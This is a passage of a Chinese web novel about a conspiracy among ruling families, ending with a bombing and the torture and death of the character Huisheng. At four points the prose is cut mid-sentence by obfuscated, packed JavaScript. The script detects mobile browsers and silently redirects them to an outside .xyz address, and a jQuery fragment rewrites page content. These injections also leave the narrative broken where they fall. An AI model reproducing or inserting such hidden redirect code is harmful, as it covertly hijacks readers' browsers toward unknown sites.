【山莲】:不太一样。但如果你是说复杂程度,那的确是一个级别。 【Cover】:不用查亚富了。问回声的情况,我们配合他撤离。 【山莲】:好。 【Cover】:继续盯着这件事,还会有后手,四大家族一定都会被拉下水。 【山莲】:回声说今早在他的私宅外被数字安排了至少二十名特工,他自己不好脱身,需要我们配合。 【Cover】:我看看路程。 【Cover】:预计9:40到,但我有可能会先去底利马。 【山莲】:好。 3月38日8:44 【半拉苹果】:面具!这个图标我见过!魏嘉禾从腰链帮拿来的衣服上就是这个标志! 仓鸮在群里发来一张被放大的截图。不出十秒,痴心就在群里发出自己查到的情报。 【山莲】:查到了,是歌莎家名下的孤儿院院服。 【Cover】:我知道了。 【Cover】:苹果直接找到魏嘉禾,先检查她身上有没有信号屏蔽器和微型炸药,处理干净,监听器不用管。期间不要让任何人发现你的踪迹,包括魏嘉禾。处理妥当后把回声接回来。我需要先去底利马一趟,你们两个随时保持通讯,相互配合。 【半拉苹果】:明白。 【山莲】:明白。 3月38日9:02 仓鸮按面具意思,优先潜入腰链帮,果然在一圈人中间看到了仍在统筹安排的魏嘉禾。帮派人员站在一群正襟危坐的记者身后,严肃地盯着网站页面。 “服装标志、走失报警的新闻。” 名为因心的女人对着魏嘉禾点头:“已就位。” “再过一个小时发护工视频,视频热度在最高点时立刻下架,预计为二十分钟至半小时,然后分批用不同账号大量宣发隐晦文案,继续推动情绪。” 魏嘉禾不断重申接下来的安排,语气冰冷,不说话时就用那种充满压迫感的阴郁目光盯着屋里的每一个人。 本来屋顶就不高的房子像是被塞进一团即将爆发的雷云,不知道什么时候就要把沉闷的气氛压进一梭空气弹打出。 平常经常接待魏嘉禾的小混混实在受不了了,脚不离地地蹭到魏嘉禾身边,小心翼翼地提议:“禾姐,您回去休息两个小时再来吧,这几件事我们都记住了,您已经一晚上没睡了。” 魏嘉禾没有回应。 她沉思着看向窗外。自己特地选的今天这个多云天气,预报下午六点整个联邦都会下雨,届时发布会的召开、处理接下来的游行都会变麻烦。底利马就可以趁机攻破下联。 她的确已经很久没睡觉了。 仓鸮趁着魏嘉禾和其他人交流,操控起她衣褶下的影子,细细搜查了一遍她身上。 比面具说的还夸张,除了一个暂未开启的信号屏蔽器和一个监听器,他还搜到两个远程微型遥·控·炸·弹。 “我先回去休息会,一定要按我说的把握住节奏,别让事件淡下来。” 魏嘉禾离开后,整个屋子都像是明亮轻松多了一样。 小喽喽不由自主地舒了口气。 因心瞥了眼屋里的众人,不光是他,就连记者背后站着的那帮监督都瞬间松懈不少。 她隐去眼底的悲哀。 底利马最大的帮派中人,还比不过小女孩一根指头,也难怪小姐要让她来这里。 而尚可期待的未来…… 已经葬送了。 3月38日9:05 墨隧提示:用户【@d%3¥u&*#】向您发来私信。请谨慎提防陌生人私信,避免被杀。 面具打开私信。 一封匿名的信件通过墨隧发到烬土账户。 信件里是异常清晰的底利马孩子尸体照片,内容设置了自动下滑功能,迫使着她必须仔仔细细观赏每一张照片。 七张照片,七个孩子,拼不出一具完整的尸骨。 而在信件的最后,是一句充满挑衅意味的配文。 “你可以趁热打铁了。” 面具闭上双眼。 黑罗依旧迎风舞动,而她的表情始终无动于衷。外界的文字只构建了脑海中的数据库,却无法卸下隔岸观火者的心防。 她的时间不曾向前,作为副产物的情绪也未顺应出现。 那一层能够束缚神明情绪的薄膜,早已在她脑中织成厚厚的白茧,拖着她无声无息坠入冰冷的渊海。 怂恿着向前的东西究竟是怎样的理由,连她自己也不清楚。 在窒息前挣扎着上涌时,她只抓住了一句遥远的玩笑话。 “小面具,你才多大呀,还不到八岁就已经这么聪明了,以后会不会变成多智的妖精啊!妈妈还要看你将来能干出什么惊天动地的大事呢!嘶,你觉得推翻四大家族怎么样,我觉得这事很靠谱欸。” 和那两人费尽心思的托举。 “解决了那些仇人,也会造就更多像我一样的人吧。那时候,普通人们该怎么办呢?” “也许你没有发现,面具,你身上是有光的。我如此坚信着,你一定会找到属于你的理由。” 于是她撤下了黑罗,化名为烬土,想要真心实意地让世界做出改变。相拥着按着他们随口提起的心愿那样,弄明白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如实,则情报网遍布联邦,四大家族甚至不知情,加上立场偏向底利马,可能的应对措施是…… 很好,何朴可以求证。 根据研究所的信息,推断具体发生时间在1:00-3:00间,魏嘉禾支开仓鸮和腰链帮合作。在此之上,沃尔削弱三家,孟弈可以利用爆破痕迹隐藏贵金属……沃尔想称帝,孟弈呢?等等,这种贵金属还有一种作用—— 铸币。 “哈,原来如此。” 她知道答案了。 面具瞟了眼阴云密布的天空。 整个联邦的空气都在起潮,眼前的黑罗也一样,她不由得微微皱了下鼻子,连同声音都变得低沉。 锈日沉渊,风急影乱,波诡云谲。 预报下午六点下雨,上联区物尽其用的本领魏嘉禾已经学到了精髓,只是运用的如此令人猝不及防。 她的脸上没有解出答案的喜悦,只有站在时代浪潮面前,直面阴影的坦然。 如果这雨一定要混着阴谋诡计落下…… “那就下雨吧。” 她全盘接受。 33. 第三十一场 当理想令孩童流亡 3月38日9:07 面具给何朴发了个消息,像是守在手环边等她的消息一样,何朴立刻就回复一串。 【Cover】:治安局约一周前是不是内乱频出,现在基层管理局的人手都是亚富巡警机器人? 【扶墙】:是。怎么了,是不是和今早发生的事有关!有什么需要我做的你尽管说。底利马的几个帮派人不多但胜在精,一个打腰链帮三个没问题,就是和下联区也能打得有来有回! 【Cover】:能不能联系上孟安,直接联系她。如果联系不上,到军备处想办法强制接管各区治安管理权限,重点关注收容所和监区。 【Cover】:权限的事也许会有人亲自送到你手里,尽管放心去,不会有比你权限更高的人手和眼线了。 【Cover】:这几件事做完就尽快去青云会组织人手,避免底利马暴动向上联开战,主抓底下边界,费可那边看一眼就行。 【扶墙】:没问题,我现在就动身。 3月38日9:18 【山莲】:九点十五有自媒体发现衣服标志是歌莎孤儿院的,现在歌莎也被拉下水了,我把视频转过来了。 【半拉苹果】:我现在去找回声,预计9:50到达。魏嘉禾回小基地了,直接去那里找她就可以。以及……魏嘉禾就是这件事的主使。马上会有警方关于孤儿院孩子走失的新闻,一个小时后会有护工实名举报自己的视频,她要推动群体情绪……信号屏蔽器和两个炸弹处理完了,还剩一个监听器。 【Cover】:我知道了。 九点的联邦,大部分人都已经清醒并处于带着上学或是上班的怨气、最后倔强地打开手环想要摸两分钟鱼的状态。 先是官方新闻和各大媒体公司,然后是“眼尖”的个人账号发现被保护了隐私的瘦弱孩子残骸身上,那一点几不可查的歌莎服装标志。 于是阴谋论漫天飞。 比起儿童毫无缘由地攻击一个平凡无奇的工厂,人们本能地更愿意相信那被引人遐想的语言所留白的反转。四大家族失信是日常,毕竟对孩子下黑手的丑闻太过惊世骇俗,人们完全有理由相信他们不顾一切想要粉饰太平的心思。 就在这时某家孤儿院大批孩子走失并报警的新闻爆出。 爆料内容直指背后歌莎家族,什么引而不发是因为护工失踪被捂嘴,关键点恰好在于文中一笔带过的“饥饿是最好的老师”,或者是不漏痕迹地提及歌莎当年发家的娱乐小把戏。 行动迅速、准备完善、一茬接着一茬,像是准备好的剧目一样,眼花缭乱地呈现在大众面前。 至此,底孩事件正式发酵至高潮。 联邦上下,无人不知、无人不晓。 奇迹历末年、联邦历300年3月38日这一天,也被后世罪谕学者成为三家之乱的开端日。 3月38日9:20 面具切换到与痴心的私信中。 【Cover】:我有事要和你说。你要清楚,你的父亲无论如何也不会出事。如果在我到达小基地后你收到他出事的消息,只说明一件事:之前神明的暗示并未奏效。另外,假如你在陪伴你父亲的那段时间里说过任何有关同龄伙伴的词,则意味着你会同时收到回声出事的消息。以78号宁可错杀的行事风格,回声的处境会变得非常危险。 【Cover】:接下来我要在两边处理很多事情,这件事只能交给你自己安排。洛克斐做这件事的目的在神明,你可以利用神明分散注意力。仓鸮会帮你,但你不能暴露他的存在。最后,一旦到了无法挽回的局面,你应该想如何最大化一个人的价值。这是最坏的情况,但你需要提前做好所有准备,不要让情绪成为主导。 【山莲】:我会把这些话放在心上的,你放心去处理其他事,不用分神顾及我这边。 【Cover】:嗯。 3月38日9:50 仓鸮潜入回声私宅。 【半拉苹果】:我已经潜入庄园,目测有二十人在外围。 【山莲】:你一个人有把握将人救出吗? 【半拉苹果】:很难,需要观察。 【山莲】:好,我们还有时间,你先根据自己判断找机会救人,我等你信息。 3月38日9:57 【半拉苹果】:西奥来了。 痴心皱眉,她有种不好的预感。 【山莲】:我这就出发去上联,十分钟。你可以控制影子在内部拍下里面吗,不要暴露。 【半拉苹果】:好。 【山莲】:好,你先监视,我马上就到。 痴心坐电梯下地库去开车。面具说的那种情况没有出现,她还有时间。 虽然可以利用神明,但贸然从洛克斐宅离开可能提高神明被发现的风险,她应该尽量保护神明不被发现。 即便真的投入这样成本,时机也是重要的。 仓鸮毕竟是这方面的熟手,还是先让听他的判断,找机会再行动。 3月38日10:00 面具到达底利马小基地,开门的瞬间,魏嘉禾正好看过来。 一见是面具,魏嘉禾显得兴奋极了。 面具快步向着自己走来,一定是理解了自己的布局,要来和自己一起利用这件事为底利马谋取未来了! “这些事是怎么回事,谁策划的?” 魏嘉禾身上的监听闪动着微弱的红光。 情报部门部长手扶耳麦,听到面具的声音立刻向西奥报告:“西奥女士,人已到达底利马。” “动手吧。”西奥淡淡道。 特工招手,情报部门立刻同时向给痴心发去其父和回声出事的信息。 “叮。” 痴心打开手环信息,顿时手脚冰凉、如坠冰窟。 她与父亲讨论过同龄人这样的话题,现在事情真的按面具说的那样发生了! 宁可错杀……她是造成现在这种局面的罪魁祸首。 回声会死! 像是脑海里的一根弦崩断,痴心大脑一片空白。 面具提醒了她不要被情绪主导,她以为不会发生的。她就是个胆小鬼,她一开始想解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449334|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决办法就因为各种侥幸心理退缩。到了一切真的发生,她没有办法自欺欺人时,她的手却开始控制不住的颤抖。 她根本做不到理性。 “等下?”痴心忽然像是想起了什么,仓皇地伸出一只手在身上四处摸索,“蓝涡、蓝涡……面具给我的蓝涡放到哪里去了?哪里去了?明明就……” 洋房中年迈沧桑的中年男人柔声细语的景象、闲聊中一笔带过朋友、随意挑拣的少量蔬菜、明明脱离78号掌控却迟迟没有启用的后手…… 她早把蓝涡给了父亲。 如果还能称其为父亲……? 3月38日10:01 西奥站在回声的别墅门前在心里默默盘算着。 按计划,痴心只会去她的父亲那里。假如回声这边真的有人来救,只能是神明,便可以在外面埋伏人将神明抓起来。 这是大功一件,她必须拿下。 “确认神明情况情况后根据音量起爆,确保面具足够靠近魏嘉禾。” “明白。” 情报部门所有人收到命令,聚精会神地监听起魏嘉禾那边的情况。 “这些事是怎么回事,谁策划的?” 功成身退的魏嘉禾听到面具张口就问自己的谋划,立马得意洋洋地点头。 “当然都是我做的!是我和腰链帮合作,借孩子的死造势,这是最大的攻心,就算是上联的狗也……” “啪。” 魏嘉禾捂着脸,不可置信地看向面具。 她竟然毫不犹豫地给了自己一巴掌。 她怎么敢、怎么敢、怎么敢怎么敢怎么敢怎么敢怎么敢怎么敢怎么敢怎么敢怎么敢怎么敢怎么敢怎么敢怎么敢怎么敢怎么敢怎么敢怎么敢怎么敢?!!!! “谁允许你这样风轻云淡地漠视别人的生命?!”面具怒不可遏,手还停在半空不可抑制地抖动。 魏嘉禾听到她的诘问,瞪大了双眼。 她从没见过面具表现过一点情绪,还以为是什么能让她起这样的反应。 结果,就这? 就为了这种事? “哈、哈哈……哈哈哈哈哈哈!” 魏嘉禾像是听到天大笑话般嗤笑不断,荒唐的笑声越来越大,近乎癫狂。她笑得弯下腰,随手揩去从眼角溢出的泪水,再抬头时她已咧嘴笑着看向面具,可眼里却满是被人背叛的歇斯底里。 “开什么玩笑,我漠视生命?别恶心人了,他们心甘情愿的!这是理想,懂吗?你这种死完爸妈死队友的人懂什么啊,你连身为人的感情都少得让我可怜!我做错什么了,上联养的畜生闹起来对我们不是好事吗?!他们狗咬狗都咬死了才好! “你就只有和小孩发脾气的本事吗?这么厉害怎么不见你现在就让上联跪着舔你喊你祖宗啊?你现在就去把他们都端了啊?至少我实打实做出成绩了,你呢?你有什么资格对我指手画脚!我就可以带着他们把上联毁的一干二净,还不如让我带着底利马走出去!我给他们选择了,他们都愿意牺牲!我是为了底利马的未来!我们都是为了底利马的未来!!” 34. 第三十二场 理想主义之殊6 “让你带着底利马走出去,去上联送死吗?” 面具的语速比以往缓慢许多,带着颤音。 近乎满溢而出的情绪从简短而直白的反问中凋落,涌现成近乎粉碎的哀伤。 拼拼凑凑,成了绝望。 简直像是把一个人的灵魂从身体里生生抽出,还不停告诫对方维持清醒。 她已经没有气力与魏嘉禾争执对错,支撑着她来到这里的无非是仅剩的“未来”二字。 “你以为洛克斐在乎一个孟家的工厂?在乎克家的议员?在乎歌莎家被孤儿院毁了的声望?魏嘉禾,你这么聪明,不如告诉我,既然底利马要反抗上联,为什么独独四大家族之首的洛克斐能隐居幕后,仿佛与整件事无关?” 魏嘉禾如遭雷击,浑身僵硬,她的手指开始发麻。 声音、颜色、温度等等一切全部脱离她的感官,最后只剩下一个死去的世界。她不知道那是什么……只知它荒凉如极夜的星。 “开枪……你开枪吧……” 恼怒与傲慢燃为一片烬土。 她的脑海里只剩下了那三个字。 未嘉禾、未家和。 她已经亲手…… 将底利马的未来摧毁了。 “是啊,开枪就对了……还愣着干嘛!打死我啊?!” 魏嘉禾抬起头,双目充血,近乎疯癫地逼近面具,声嘶力竭地冲着她悲啸:“你开枪啊,为什么不说话!我犯了这么大的错,我这么蠢这么坏,你什么都没做错,已经很明了了不是吗?那就杀了我让我赎罪啊,烬土,你开枪啊!” 孤注一掷的恨意逐渐被茫然的哭泣取代。 面具突然意识到什么。 “不对!魏嘉禾,是哪个帮派负责的记者?”她同时呼叫痴心和神明,但手环却显示无响应,“糟了!” 魏嘉禾微怔,立刻反应过来:“西南区凡人盟,老大头上有道长疤的那个。” 面具没有一丝犹豫地将手环交到魏嘉禾手中。 “你立刻带着这个找青云会,就说是烬土送来的,让他们赶紧把人带回底利马。” “等等!我模拟了联络渠道,以你的名义把……” “小型信号屏蔽器——凡人盟放的,快找身上有没有其他东西!” 魏嘉禾下意识低头,已经惊出一身冷汗。还没搜身,只听面具惊呼一声小心,一个飞扑将她的外套扯下。 “砰——砰——” 接连两声爆炸声响,面具倒在地上。 魏嘉禾尖叫一声扑过去。 “烬土!烬土你怎么了!!!你别咳咳咳……你别死!睁眼!快睁眼啊!” 撕心裂肺的哭声在监听器里回荡,魏嘉禾拍打着面具的脸,啪啪作响。 “起来!起来啊!别丢下我一个人,我错了,我真的知道错了,别死好不好,求你了!” 魏嘉禾一边带着哭腔大喊,一边拍着手背从地上用腰腹力量爬起来。而后—— 拔腿就跑! 面具的手环中不再响起爆炸声,她果断掐断监听,心领神会地向着青云会跑去。 3月38日10:05 西奥收到了第一个今天的好消息。 “情报部报告:已确认墨隧委托帮第二执行人烬土与面具为一人。危险评级显著提升,对方疑似察觉炸弹存在,已及时提前起爆。” “干的不错,结果呢?” “起爆顺利,疑似携带炸弹的外衣被面具扯下,已确认面具死亡。魏嘉禾状况不明,根据监听设备状态判断,多半近距离受到余震,约为中轻伤程度。” 西奥发自内心地露出笑容:“辛苦了,接下来……” 就让她会一会那个叛变的弟弟吧。 “埃森那边盯紧了,只要痴心露面,立刻就地解决。但如果是伪神,务必活捉。” 说完,她推开大门,直奔画室。 暗中盯梢的仓鸮见状立刻给痴心发去信息。 3月38日10:06 【半拉苹果】:西奥进来了。 【山莲】:我知道了,我马上就到了。 【半拉苹果】:西奥在门口犹豫了一会才进去,只有她一个人,大概没有拿到确切情报,还要试探回声。现在是白天,外面人太多了,即便我能从西奥手里把人救下来人,也带不出去。要动手吗? 【山莲】:不行!你不能暴露……你等我想想办法。 3月38日10:07 与洛克斐人一点不像的小公子坐在他的椅子上用心勾勒着红与黑的曲线。 火焰、血液、死亡、枯骨……联想一下今天上午发生的事情,大概就知道他在画什么。 家族怎么会有这样不成事的败类? “你竟然没离开,是我到得太早了吗?” 笔触扭断,回声被突如其来的声音吓了一跳,难得有些不高兴地转头看着悄无声息出现在自己身后的长姐西奥。 “姐,你干嘛……” 西奥冷眼看着自己纯良无辜的幼弟。 如果不是痴心提醒她父亲同龄人的事,自己还真想不到查他。 鬼鬼祟祟跑出去这么多次,还不断掩饰自己的行为。 这么多年,他倒是会演。 回声将笔投进笔筒,像是知道自己没时间继续了一般,脸上露出淡淡的无奈中:“是需要我做什么吗,姐姐,其实你可以用手环联系我的。” “你在画今早的事?” 回声明显耷拉下眉眼,似乎不忍:“父亲要开始清理三大家族了吗,帕利蒙拉叛变歌莎家了?” “原来你也会关心自家事?”西奥语气不善。 3月38日10:08 痴心连着做了几个深呼吸,强迫自己冷静下来。假如说自己能够在回声出事前就让西奥打消顾虑,她应该怎么做? 面具之前提醒自己的那条信息:父亲、伙伴、回声…… 神明! 【山莲】:快以灵态往埃森这个方向去! 【我要往海里加方糖】:好的! 痴心抓在方向盘的手不停颤抖。 这样就可以了,只要不出现、不承认就证明不了…… 但有一个声音在不断叩问自己: 这时才想明白,还来得及吗? 3月38日10:09 西奥拿出前一天21 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你这是什么态度!”西奥狠狠将他的脑袋砸向地板,“等我当上家主,你想去哪里都可以——只要你支持我当上家主!你这没用的蠢材!搅乱我安排的混蛋!我有哪点对不起你?洛克斐有哪点对不起你?” 鲜血不断从嘴角流出,他因反复的撞击眼冒金星,即便疼痛想要迫使他向着西奥不体面地求饶,他的心绪依旧风轻云淡。 朦胧间,他的思绪逐渐远离,向着一道清莲般的温柔身影行去。 她说,学长有一颗圣人之心。 于是痛苦变得可以忍受,黑暗变得虚张声势,暴力变得可悲可怜。 他的嘴角也不以为意地挂上轻蔑的笑。 “不许笑!说话!为什么!”西奥气急败坏地取出烙环,撤开回声领口的衣服。 “咣!” 一把手枪从内袋中掉了下来。 西奥愣了一瞬:“果然!” 她不再犹豫,想也没想将烙环对准回声的胸口按下。 “滋滋——” 接触生物表面的瞬间,烙环启动加热,肉与铁在高温在作用下发出滋嗤声。白烟混在诡异的香气中腾起,胸前皮肤在高温下瞬间蜷缩,泛起焦黑的卷边。 35. 第三十三场 理想主义之殊7 “呃啊啊啊啊!” 回声痛苦地喊出声音,四肢下意识反支地板。西奥双目通红地把手按在烙环上,死死压着他不让他反抗。 疼痛潮水般一波波涌来,眼前阵阵发黑。剧烈的痛感令冷汗直流,顷刻间就像刚从水里打捞上来的一样。他的手指不断缩屈着扣向地板,发出令人牙酸的声音,直到指甲断裂渗出血,从手上也传来一片火辣辣的钻心痛。 但他的意识却愈发清晰,精神愈发精粹。 理想已然呼之欲出。 “底利马的混乱是我们一手造就的……” 西奥死死瞪着回声。 “三百年前,它还是手握各区命脉的原料区。奢华高雅的艺术从自由的富庶中,如蛋糕流心般美妙且源源不绝地流向南方的各地,供养出联区、费可……五个大区。可这样一个地方,如今却变成了暴力与混乱的代名词。隔断出一个下联区,竖起一道横墙,禁止底利马的一切进入联邦,以为这样就能抹去底利马的意义。” 权利与暴力都不能令其屈服的人,竟然也会流泪。 惯以温顺内敛示人的绵羊,原来也懂得痛心疾首。 “姐姐,历史会怎么评价我们这个时代?满口虚伪的大义当作牺牲他人的借口,高歌自由平等只为粉饰阶级存在,编织法度规则以做束缚的枷锁,文明的退化打着蜕化的幌子——可我不想成为罪人的一部分啊! “我不想后世宁可从未有过这样一个时代,对它避之不及!到那时,整个时代是始作俑者,我们作为构成这个时代的人,就连洗清污名的立场都没有!这是何等不幸、何等残酷啊!” “真是疯了!” 他究竟是怎么被这种什么用都没有的东西洗脑成这副疯样子。 理想这种没用的东西难道能比权力更重要吗? 假如他聪明一点,辅佐她上位,按着他的心意迁就些底利马又如何? 如果不信任她,那就亲自来抢家主的位置,在这里怨天尤人什么?他的理想难道就只是说说就得到满足的东西吗?! 废物! 废物不管做什么都是一样的废物! “西奥女士,已目击到机械神明出现在埃森。” 78号的报告接通她的耳麦,西奥不再愤怒于回声的愚蠢。 她重新整理好仪容,撩起碎发别在耳后,实在不愿再与回声多做纠缠,直接扣下烙环的毒针,头也不回地起身向着别墅外离开。 “姐……我……还清了……” 回声气若游丝的声音断断续续从身后传来。 西奥回过头。 那把掉落的枪一直在他手边。 3月38日10:13 西奥的人仍在外有序戒备,警惕地观察四周。痴心才把车停到一边,就看见西奥从正门出来。 “转移。”西奥神情自若地下令,“埃森发现机械神明踪迹。” 痴心来不及多想,立刻发消息喊神明撤退。 【山莲】:快走,78号有人在埃森发现你了! 【我要往海里加方糖】:? 仓鸮发来通讯请求。 “西奥使用烙环,已离开。我第一时间处理了伤口,喊了医生,但是……” “等她带人离开我就进去。回声是我们的同伴,即便是尸体,我们也要带回去。” 仓鸮没有继续。痴心颤抖不已的声线从另一头传来,她几乎没有任何犹豫地接话,语气慌张,仓鸮甚至能想象到痴心凝重的表情。 他把人靠在一旁,注入了自己随身携带的解毒剂,又用绷带捆扎近心端:“医生马上就到了,坚持住,我们带你离开。” 痴心挂断电话,好像萌生了一种名为疑惑的情绪。 但什么是疑惑?她是不是误会了什么? 思维暂时没有关注无关紧要的事项,大脑只是在强撑理性。 3月38日10:14 【山莲】:不要去埃森!不要去!我错了,你继续留在洛克斐! 【我要往海里加方糖】:?我还没出发呢?? 紧急处理的程序进行完毕。仓鸮一个人考虑了一会,觉得自己弄一块板子把上伤口夹住也能起到一定效果,于是忙不迭地张望一番,锁定了画板。 心念一动,影子同时抱着折成宽条的床单从卧室瞬移出来。 “不用……咳、来不及……” “学长——!!” 大门被猛地推开又关上。 痴心在门口踉跄两步,看清画室情况的瞬间,呼吸停滞了一瞬。 白色的绷带炸近在银色的烙环上,与焦黑色的血肉黏连在他的胸前。紫色的毒素在他白皙的皮肤上显得格外明显,像是一直恶毒的菟丝子盯上了孱弱的躯壳,要将他最后一点生机也敲骨吸髓、吸食殆尽。 回声听到声音了扭过头,看到她的瞬间,露出了恬淡的浅笑。 “别动!学长,别乱动,我来了,我来找你。” 仓鸮默默看了两人一眼,自觉地将画板靠在一边转身出了别墅外望风。 痴心一张口,眼泪就如决堤洪水涌出眼眶。到回声身边时,她的身体忽泄了所有力,脚下一软跪倒在对方身边。 她有太多话想说,可张开口才发现,自己发不出一点声音。 眼前人面色苍白地倒在地上,高温烙环黏在胸口褶皱的皮肤上,似乎要把时间燃尽;心上人依旧温醇姿态,眼底陷入湮灭的黑黢光采,承着谁也为未曾料想的、崭新的、意为终末的未来。 命运开了一个恶劣的玩笑。 回声趁着毒性未完全发作,笑着抬手用手背蹭了蹭痴心的手臂,示意她低下头,痴心连忙凑近了对方。 她以为回声会说什么别哭、别难过、忘记他之类的话,但是回声只是吐气似的把字一个接着一个断断续续地送到她耳边。 “芯片在左手里,我已经偿还了洛克斐的生养之恩,这以后,你们破釜沉舟不用再有顾虑了。” 说着,回声张了张左手。痴心立刻伸手,却只看到了张牙舞爪蔓延的紫痕没入鲜血淋漓的指头,葛藤似的攀附汲尽一切目之所及的皮肤。 “在拇…” “在左手的拇指里,我记下了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449336|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我记下了。你不要再说话了,学长,别说话了。” 痴心飞快地打断他的话,捧起他鲜血淋漓的双手,眼泪怎么也止不住地流。 回声下意识蜷起手指:“只是看着吓人,其实一点也……” “学长,别说了,我害怕……” 回声下意识停下了自己的宽慰。 痴心哭得上气不接下气:“仓鸮给你注射解毒剂了,只是烙环而已,你会活下来的,你不许交代这些事,医生马上就到了,你别说话,别让毒素加速蔓延。” 回声听话地闭上了嘴。 其实他知道不是这样的。78号研究出了新型剧毒,一般的解毒剂多半没有用。他不是洛克斐受宠得势的人,没有蓝涡那种保命的东西。 但…… 大概他们也只剩下这一点时间了吧? 没必要再把她这一点仅存的希望夺走了。 回声瞪着眼睛,勉强看着自己喜欢的人。 痴心任由他看去。她想表现得坚强一些,不想让对方担心,但眼泪就是停不下。 “傻子…你真是个傻子!为什么不开枪,你明明可以……” 痴心才说两句就后悔了。 这么光风霁月的人,想要对得起理想,就会对不起家族。可要心如止水地站在至亲的对立面谈何容易,她最懂这种刻骨铭心才是。 命运挺残酷的不是吗? 予他一切,不予来处与新生。 回声又一次开口了,可能是看痴心神情惨淡;也可能是察觉到自己还有一口气,就不想她让她带着那么深的遗憾。尽管此事如月阴晴圆缺,自古难全。 但他放不下她。 本以为痴心的一腔热血全献给了他们共同的理想。本来他觉得,没关系,至少他们还可以同行。他没想到自己能占到这样的地位—— 只是这样的好消息,到了此时,却让他害怕了。 人工毒素已经爬上他的脖颈,疼到神经麻木,几乎感受不到身体的存在。回声强拉起嘴角,其实知道剧毒让他笑起来比哭还难看,但还是想宽慰她。 “辜负你的……信任了……学长,两者都…不想愧歉……却是……”连带着她一起辜负了。 回声停顿了几秒,终于说出最后一句,格外流畅、格外残忍。 “这种蠢货学妹向来不喜欢,故而不必为我伤心。” 痴心大脑一片空白。 怀中人语气陌生,似乎……她其实根本不了解他? 那么一个温润如玉的人、无论何时都让人如沐春风的人,原来也能说出这么薄情的话啊…… 只为了替她求一个释怀的可能。 “别说了!我已经和你说不要说了!我不想听!别说了好不好!!”痴心拼了命地摇头,“学长你撑住,别和我说道别的话……仓鸮!仓鸮!不是说已经注入解毒剂了吗……” “别……他已经……尽力了。” 回声想拉住六神无主的痴心,但他已经彻底失去控制自己身体的力量。 气力在流失,像被凭空抽走,视线也开始变得模糊。 36. 第三十四场 理想主义之殊8 他知道自己马上就要迎来终点,死亡将比拼尽全力的挽救先一步到来,这样的预感如此清晰。 其实,面具原本的计划事情他猜到了。 神明的精神暗示存在限制,她只能控制一两个人,在有限的时间内,神明首要控制的就是父亲。而后面具借即可洛克斐的名义,联合四大家族中最弱势的克家,再分别对孟家和歌莎出手,制造势均力敌的对立局面,这样底利马的人就会成为最好的拉拢目标。 她从来没想过短时间解决所有问题。 但现在联邦内斗,如果她能把握时机,或许可以一击毙命。即便不行,他也按照自己的推测整理了所有内部信息存放在芯片…… 芯片的信息已经交代,痴心的答案已经得到。他已经力所能及地把该他做的、不该他做的都做完了。 但痴心现在的模样让他后悔了。 其实他很不甘心的,明明快结束了,明明还有很多事想做。 他还没有见到自己资助的设计师创作的传世之作;原本还想亲眼见见总被学妹提到的面具到底是何许人也,能让她这样惦记;还有,还没有邀请学妹在雪夜的沉金商业街一起随着人潮跨年;还有话没有说还有东西没有送——还没见过他们一起改变的时代,未来是否足够美好? 如果他们的时代终于值得热爱...... 电光石火间,回声忽然察觉到记忆中有什么异常点。 说不清是回忆还是某支影片的场景开始交叠。 一个一直以来困扰他的问题忽然揭开帷幕,向他转过身。从他的幼年,到他的结束,比死亡的走马灯更朴实无华,比任何人生剧目都更加直白诚实、也更加荒诞。 他知道去找孟弈的那人是谁了。 “尤……尤利……” 回声的手忽然卸力。 “……” “…………” “………………?” 痴心耳边一阵耳鸣,所有信息都变得模糊不已,好像随着回声一同离她远去。 就像寄生虫抛弃失去活性的宿主,毒素的痕迹因为的回声的死亡慢慢淡化。 痴心双目空洞地看向仿佛只是睡去的回声,他嘴角扬起,如有好梦。她其实根本没反应过来这都意味着什么。她就只是死死地抓着回声,眼底布满血丝,凝望着再也无法睁眼的人,某个声音一遍又一遍地在她脑子里回荡。 “下次见面,自然就是好消息。” 蓝涡、假信息、伙伴、侥幸、神明……面具明明什么都提醒过了,但她一样都没有做好过。 她的每一个选择…… 痴心不敢再放任自己多想,她怕自己再想下去会变得面目可憎,她怕自己会变成最可悲可怜的人,但她再也控制不住自己的情绪。 痴心泪眼朦胧,双手颤抖着轻轻捉起回声两只手,小心翼翼地用她的睫毛、鼻子、唇瓣虔诚而轻柔地贴过、蹭过、吻过那双必将逐渐冰冷僵硬的手。 如同信徒托起圣烛。 心如刀割。 